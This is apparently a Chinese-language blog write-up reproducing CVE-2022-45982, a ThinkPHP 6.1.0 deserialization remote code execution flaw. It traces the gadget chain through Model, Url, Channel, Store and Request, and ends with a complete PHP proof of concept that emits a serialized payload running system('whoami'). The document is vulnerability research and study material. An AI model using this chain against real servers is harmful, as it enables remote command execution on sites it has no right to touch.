小白入门php反序列化做一个tp6.1.0的RCE漏洞复现,网上找了很久都没有相关的分析资料,于是自己跟着POC一步步分析,文章写得有点乱,有些错误的地方请师傅们指正
漏洞编号:CVE-2022-45982
漏洞分析
与之前版本的链条一样从Model开始
寻找__destruct 定位到vendor\topthink\think-orm\src\Model.php
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
由于Model是个抽象类,所以得找个继承它的子类,这里可以用Pivot
发现lazySave参数是可控的可以进入save()
跟进save()
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
// 写入回调
$this->trigger('AfterWrite');
// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;
return true;
}
发现这条语句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
但是要进入这条语句需要过了前面的if判断
跟进isEmpty()
public function isEmpty(): bool
{
return empty($this->data);
}
只要$this->data不为空即可,还需要$this->trigger('BeforeWrite') == true
跟进$this->trigger()
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
......
}
只要withEvent为false就可以回到三目运算符
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
分别进入updateData()或者insertData()寻找可以利用的地方
跟进updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
根据POC这里的利用点是
$this->autoRelationUpdate();
所以要过三条if,第一条if已经过了,第二条需要令$data为空,第三条只要relationWrite非空,而此变量是可控的
要让$data为空,那就需要跟进getChangedData()
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}
发现后面有个unset(),所以想办法利用这个unset()即可
先看前半段,$force=false所以会调用array_udiff_assoc对$this->data, $this->origin比较然后返回差集$this->origin可以为空让array_udiff_assoc返回1和data数组.
再看后面的foreach,通过遍历readonly并且用其值作为键删除$data的元素,那么可以构造例如
$data = ['a' => 'b']; $readonly = ['a'];来让$data变为空
跟进autoRelationUpdate()
protected function autoRelationUpdate(): void
{
foreach ($this->relationWrite as $name => $val) {
if ($val instanceof Model) {
$val->exists(true)->save();
} else {
$model = $this->getRelation($name, true);
if ($model instanceof Model) {
$model->exists(true)->save($val);
}
}
}
}
foreach遍历relationWrite的键值对,这里得进带参数的save($val),所以relationWrite的键值得满足!instanceof Model,跟进getRelation()
public function getRelation(string $name = null, bool $auto = false)
{
if (is_null($name)) {
return $this->relation;
}
if (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
} elseif ($auto) {
$relation = Str::camel($name);
return $this->getRelationValue($relation);
}
}
第一个和第二个if的区别是返回值以及有没有$name,因为无论如何返回值$model得是个Model的子类对象才能过instanceof,这样一来relation数组不能直接返回,而要返回里面的元素
$name不能为null,也就是说relationWrite一定是键值对的形式,而且relation.key = relationWrite.key
暂时确认relation和relationWrite的形式= [key => value]
回到autoRelationUpdate(),instanceof过了后exists()是设置 Pivot->exists = true不用管再次进入save($val)
$val也就是relationWrite的键值作为参数$data传入跟进setAttrs()
public function setAttrs(array $data): void
{
// 进行数据处理
foreach ($data as $key => $value) {
$this->setAttr($key, $value, $data);
}
}
发现$val得是个array并且后面有个foreach遍历那么relationWrite的形式可能是relationWrite = [key => [key => value]]
进入setAttr(),发现key作为name传入那么确认relationWrite的形式如上述。
public function setAttr(string $name, $value, array $data = []): void
{
$name = $this->getRealFieldName($name);
// 检测修改器
$method = 'set' . Str::studly($name) . 'Attr';
if (method_exists($this, $method)) {
$array = $this->data;
$value = $this->$method($value, array_merge($this->data, $data));
if (is_null($value) && $array !== $this->data) {
return;
}
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->writeTransform($value, $this->type[$name]);
} elseif ($this->isRelationAttr($name)) {
$this->relation[$name] = $value;
} elseif ((array_key_exists($name, $this->origin) || empty($this->origin)) && is_object($value) && method_exists($value, '__toString')) {
// 对象类型
$value = $value->__toString();
}
// 设置数据对象属性
$this->data[$name] = $value;
unset($this->get[$name]);
}
可以看见下边有个__toString()并且$value参数是我们传入的$data->$value,而$data = $val, $val=relationWrite->$value,所以relationWrite的键值是可以触发__toString()
的对象
所以$relationWrite = [$str => [$str] => Obj]
这里的$name只要是个简单字符就可以绕到最后一个else if判断条件,但是要记得跟realation.key保持一直。
getRealFieldName()对$name进行驼峰转下划线处理
studly()同理对$name进行下划线转驼峰(首字母大写),例如字符'n'变成了'N',跟'set'和'Attr'拼接后变成了$method
method_exists检测方法在类中是否存在
isset检查type[$name],默认$type = []
进入下个elseif里的isRelationAttr()
protected function isRelationAttr(string $attr)
{
$relation = Str::camel($attr);
if ((method_exists($this, $relation) && !method_exists('think\Model', $relation)) || isset(static::$macro[static::class][$relation])) {
return $relation;
}
return false;
}
这个函数的作用是检查属性是否为关联属性 如果是则返回关联方法名。
Str::camel($attr):下划线转驼峰(首字母小写)
然后看下面的判断,$name同样可以绕过这个if
返回到
elseif ((array_key_exists($name, $this->origin) || empty($this->origin)) && is_object($value) && method_exists($value, '__toString')) {
// 对象类型
$value = $value->__toString();
}
再来看这个elseif,要想过关有两条路
要么$name的值得是origin的key,也就是说$origin是个键值对并且origin.key = relationwrite.key
要么origin为空,两者经验证都可以。
此时要找一个class里面有__toString
而之前参考的链里面Url就有__toString,跟进到vendor\topthink\framework\src\think\route\Url.php
public function __toString()
{
return $this->build();
}
再跟进到build(),$this->app->request是必须的否则会抛异常,所以POC不能忘记准备个app类
public function build()
{
// 解析URL
$url = $this->url;
$suffix = $this->suffix;
$domain = $this->domain;
$request = $this->app->request;
$vars = $this->vars;
if (0 === strpos($url, '[') && $pos = strpos($url, ']')) {
// [name] 表示使用路由命名标识生成URL
$name = substr($url, 1, $pos - 1);
$url = 'name' . substr($url, $pos + 1);
}
if (false === strpos($url, '://') && 0 !== strpos($url, '/')) {
$info = parse_url($url);
$url = !empty($info['path']) ? $info['path'] : '';
if (isset($info['fragment'])) {
// 解析锚点
$anchor = $info['fragment'];
if (false !== strpos($anchor, '?')) {
// 解析参数
[$anchor, $info['query']] = explode('?', $anchor, 2);
}
if (false !== strpos($anchor, '@')) {
// 解析域名
[$anchor, $domain] = explode('@', $anchor, 2);
}
} elseif (strpos($url, '@') && false === strpos($url, '\\')) {
// 解析域名
[$url, $domain] = explode('@', $url, 2);
}
}
if ($url) {
$checkName = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : '');
$checkDomain = $domain && is_string($domain) ? $domain : null;
$rule = $this->route->getName($checkName, $checkDomain);
if (empty($rule) && isset($info['query'])) {
$rule = $this->route->getName($url, $checkDomain);
// 解析地址里面参数 合并到vars
parse_str($info['query'], $params);
$vars = array_merge($params, $vars);
unset($info['query']);
}
}
if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) {
// 匹配路由命名标识
$url = $match[0];
if ($domain && !empty($match[1])) {
$domain = $match[1];
}
if (!is_null($match[2])) {
$suffix = $match[2];
}
} elseif (!empty($rule) && isset($name)) {
throw new \InvalidArgumentException('route name not exists:' . $name);
} else {
// 检测URL绑定
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
if ($bind && 0 === strpos($url, $bind)) {
$url = substr($url, strlen($bind) + 1);
} else {
$binds = $this->route->getBind();
foreach ($binds as $key => $val) {
if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) {
$url = substr($url, strlen($val) + 1);
$domain = $key;
break;
}
}
}
// 路由标识不存在 直接解析
$url = $this->parseUrl($url, $domain);
if (isset($info['query'])) {
// 解析地址里面参数 合并到vars
parse_str($info['query'], $params);
$vars = array_merge($params, $vars);
}
}
// 还原URL分隔符
$depr = $this->route->config('pathinfo_depr');
$url = str_replace('/', $depr, $url);
$file = $request->baseFile();
if ($file && 0 !== strpos($request->url(), $file)) {
$file = str_replace('\\', '/', dirname($file));
}
$url = rtrim($file, '/') . '/' . $url;
// URL后缀
if ('/' == substr($url, -1) || '' == $url) {
$suffix = '';
} else {
$suffix = $this->parseSuffix($suffix);
}
// 锚点
$anchor = !empty($anchor) ? '#' . $anchor : '';
// 参数组装
if (!empty($vars)) {
// 添加参数
if ($this->route->config('url_common_param')) {
$vars = http_build_query($vars);
$url .= $suffix . ($vars ? '?' . $vars : '') . $anchor;
} else {
foreach ($vars as $var => $val) {
$val = (string) $val;
if ('' !== $val) {
$url .= $depr . $var . $depr . urlencode($val);
}
}
$url .= $suffix . $anchor;
}
} else {
$url .= $suffix . $anchor;
}
// 检测域名
$domain = $this->parseDomain($url, $domain);
// URL组装
return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/');
}
这个函数里面很多参数都是可控的,在build方法里面存在这样两条条语句
$rule = $this->route->getName($checkName, $checkDomain);
$bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null);
和之前版本的链子一样,这里联想一下看看可不可以用__call,因为第二个的参数都是可控的所以选择第二个。
寻找可用的call方法,这里选择的是vendor\topthink\framework\src\think\log\Channel.php
跟进__call,getDomainBind()跟$domain被传进来
public function __call($method, $parameters)
{
$this->log($method, ...$parameters);
}
再跟进log, $level = getDomainBind $message = $domain
public function log($level, $message, array $context = [])
{
$this->record($message, $level, $context);
}
再跟进record,$msg=domain type=getDomainBind
public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
{
if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
return $this;
}
if (is_string($msg) && !empty($context)) {
$replace = [];
foreach ($context as $key => $val) {
$replace['{' . $key . '}'] = $val;
}
$msg = strtr($msg, $replace);
}
if (!empty($msg) || 0 === $msg) {
$this->log[$type][] = $msg;
if ($this->event) {
$this->event->trigger(new LogRecord($type, $msg));
}
}
if (!$this->lazy || !$lazy) {
$this->save();
}
return $this;
}
因为$lazy=true所以最终会走到save()函数,log数组里面保存了domain getDomainBind
跟进channel的save()
public function save(): bool
{
$log = $this->log;
if ($this->event) {
$event = new LogWrite($this->name, $log);
$this->event->trigger($event);
$log = $event->log;
}
if ($this->logger->save($log)) {
$this->clear();
return true;
}
return false;
}
$this->event默认false所以会走到$this->logger->save($log),$logger是可控的,所以可以找一个可利用的save函数
找到vendor\topthink\framework\src\think\session\Store.php
跟进save()
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
这里的利用点是
$data = $this->serialize($this->data);
$data又是可控的,所以跟进serialize()
protected function serialize($data): string
{
$serialize = $this->serialize[0] ?? 'serialize';
return $serialize($data);
}
$serialize = $this->serialize[0] ?? 'serialize';
相当于
$serialize = isset($this->serialize[0]) ? $this->serialize[0] : 'serialize';
$serialize是可控的,所以我们可以给他个'call_user_func'
所以$serialize($data)就会变成call_user_func($data),但是只有一个$data参没法直接system whoami,不过可以借用其他类的方法。
所以$data的构造得是$data = [obj, 'func_name']
POC使用的是Request下的param(),找到vendor\topthink\framework\src\think\Request.php
跟进param()
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (is_array($name)) {
return $this->only($name, $this->param, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
这里的点在下面的input函数,所以要令$mergeParam=true $name=非array , 前一个参数是可控的,后一个默认是''
return $this->input($this->param, $name, $default, $filter);
跟进input,参数有四个
public function input(array $data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
[$name, $type] = explode('/', $name);
}
$data = $this->getData($data, $name);
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
$data = $this->filterData($data, $filter, $name, $default);
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
由于传进来的name='',前两个if直接跳过进入filterData(),param[]也变成了data[]
protected function filterData($data, $filter, $name, $default)
{
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
} else {
$this->filterValue($data, $name, $filter);
}
return $data;
}
先跟进getFilter
protected function getFilter($filter, $default): array
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
发现这里对filter做了处理,filter为null转换成空数组,如果是string进行切分再转化成数组,最后再把$default加入这个数组。
回到filterData(),因为data确实是个数组所以会进入第一个if执行array_walk_recursive(),这个函数会对$data数组的每个元素执行filterValue方法,$filter作为函数参数,那么跟进一下filterValue()
public function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
if (is_null($value)) {
continue;
}
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (is_string($filter) && false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
在这儿发现了终点call_user_func(),并且参数$filter, $value是可控的,我们可以构造$filter = "system"传入通过filterData添加的$default可以通过array_pop弹出,然后foreach取出"system",而value可以通过构造$param = ["whoami"]传入,array_walk_recursive会将数组里唯一的"whoami"取出,最终通过call_user_func执行system whoami,到此这个链条就结束了。
POC
<?php
namespace think {
abstract class Model
{
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];
public function __construct($value)
{
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' =>
["n" => $value]
];
}
}
class App
{
protected $request;
}
class Request
{
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace think\route {
use think\App;
class Url
{
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;
public function __construct($route)
{
$this->route = $route;
$this->app = new App();
}
}
}
namespace think\log {
class Channel
{
protected $lazy = false;
protected $logger;
protected $log = [];
public function __construct($logger)
{
$this->logger = $logger;
}
}
}
namespace think\session {
class Store
{
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";
public function __construct($data)
{
$this->data = [$data, "param"];
}
}
}
namespace {
$request = new think\Request(); // param
$store = new think\session\Store($request); // save
$channel = new think\log\Channel($store); // __call
$url = new think\route\Url($channel); // __toString
$model = new think\model\Pivot($url); // __destruct
echo urlencode(serialize($model));
}
测试图